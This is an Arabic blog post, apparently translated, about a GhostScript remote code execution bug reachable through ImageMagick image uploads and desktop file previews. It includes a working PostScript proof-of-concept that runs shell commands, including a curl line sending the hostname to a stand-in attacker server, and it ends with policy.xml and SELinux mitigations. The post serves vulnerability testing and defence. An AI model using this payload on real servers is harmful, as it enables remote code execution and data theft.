باختصار: إذا كان لديك صور على موقعك وقمت بمعالجتها باستخدام مكتبة ImageMagick الشائعة ، فعند تحميل صورة ، يمكنك تنفيذ أمر shell مع حقوق مستخدم خادم الويب (على سبيل المثال: تنزيل RAT ، و miner ، ودمج المصادر ، والوصول إلى قاعدة البيانات ، تسبب الفشل ، وما إلى ذلك)
من الغريب أن الأخبار (
الأصلية ) عن ثقوب جديدة في مكتبة GhostScript ، ونتيجة لذلك ، العديد من المكتبات الأخرى التي تستخدمها تحت غطاء محرك السيارة ، مرت من قبل habrosociety. إذن ماذا لدينا؟
كيفية التحقق من أن الخادم الخاص بك عرضة للخطر؟نأخذ ونرفع ملف الاختبار .ps إلى الخادم بدلاً من الصورة. لا يتسبب ملف المثال أدناه في إلحاق ضرر كبير - فهو يؤخر 5 ثوان فقط. إذا كان الخادم يستجيب لمدة أطول من 5 ثوانٍ ، فأنت تواجه مشكلة: إما أن الخدمة ضعيفة أو أنها بطيئة للغاية =)
%!PS % This is ghostscript bug 699714, a variant of 699687 (which is itself a variant of 699654). userdict /setpagedevice undef a4 currentpagedevice /HWResolution get 0 (foobar) put { grestore } stopped clear % make sure we have a device with OutputFile (ppmraw) selectdevice mark /OutputFile (%pipe% `sleep 5`) currentdevice putdeviceprops { showpage } stopped pop quit
الفريق الأساسي:
النوم 5يمكن أن يكون الأمر البديل
mark /OutputFile (%pipe% curl evilserver.su/GHOSTSCRIPT-RCE-HOOK/`hostname`) currentdevice putdeviceprops
أو شيء أقل ضررًا بكثير.
هناك العديد من نواقل الاستغلال. بالإضافة إلى التنزيل إلى معالج الصور ، يمكنك ببساطة إرسال رابط إلى ملف .ps إلى الضحية ، وبما أنه يتم إنشاء معاينة في معظم أنظمة التشغيل عند حفظها على الكمبيوتر ، فإن هذا يؤدي أيضًا إلى الاستغلال (تم اختباره شخصيًا على سطح مكتب Linux). في وقت كتابة هذا التقرير ، لم يكتشف أي برنامج مكافحة فيروسات ملفات .ps الاختبارية على أنها خطيرة.
ماذا تفعللسوء الحظ ، على الرغم من نشر معلومات حول الثغرات
وإصلاح الأخطاء ، قد لا يكون هناك إصدار ثابت في تحديثات التوزيع.
على الخوادم ، يمكنك إجراء فحص أولي لنوع الصورة باستخدام مكتبة خارجية ، والتصفية من خلال ملف policymap ImageMagick / policy.xml وعدم معالجة أنواع الملفات الضعيفة. يجب على SELinux أيضًا إغلاق جزء من نواقل الهجوم ، على سبيل المثال ، الكتابة إلى مجلدات غير قياسية.
UPD: في التعليقات يكتبون أن الثغرة لا تزال غير ثابتة في المكتبة!
UPD2: إصلاح لـ imagemagick لحظر استخدام ملفات PostScript و PDF من
elvenpath : في الملف /etc/ImageMagick-6/policy.xml أو /etc/ImageMagick-7/policy.xml اعتمادًا على إصدار ImageMagick الذي تحتاج إلى كتابته:
<policymap> <policy domain="coder" rights="none" pattern="{EPS,PS2,PS3,PS,PDF,XPS}" /> </policymap>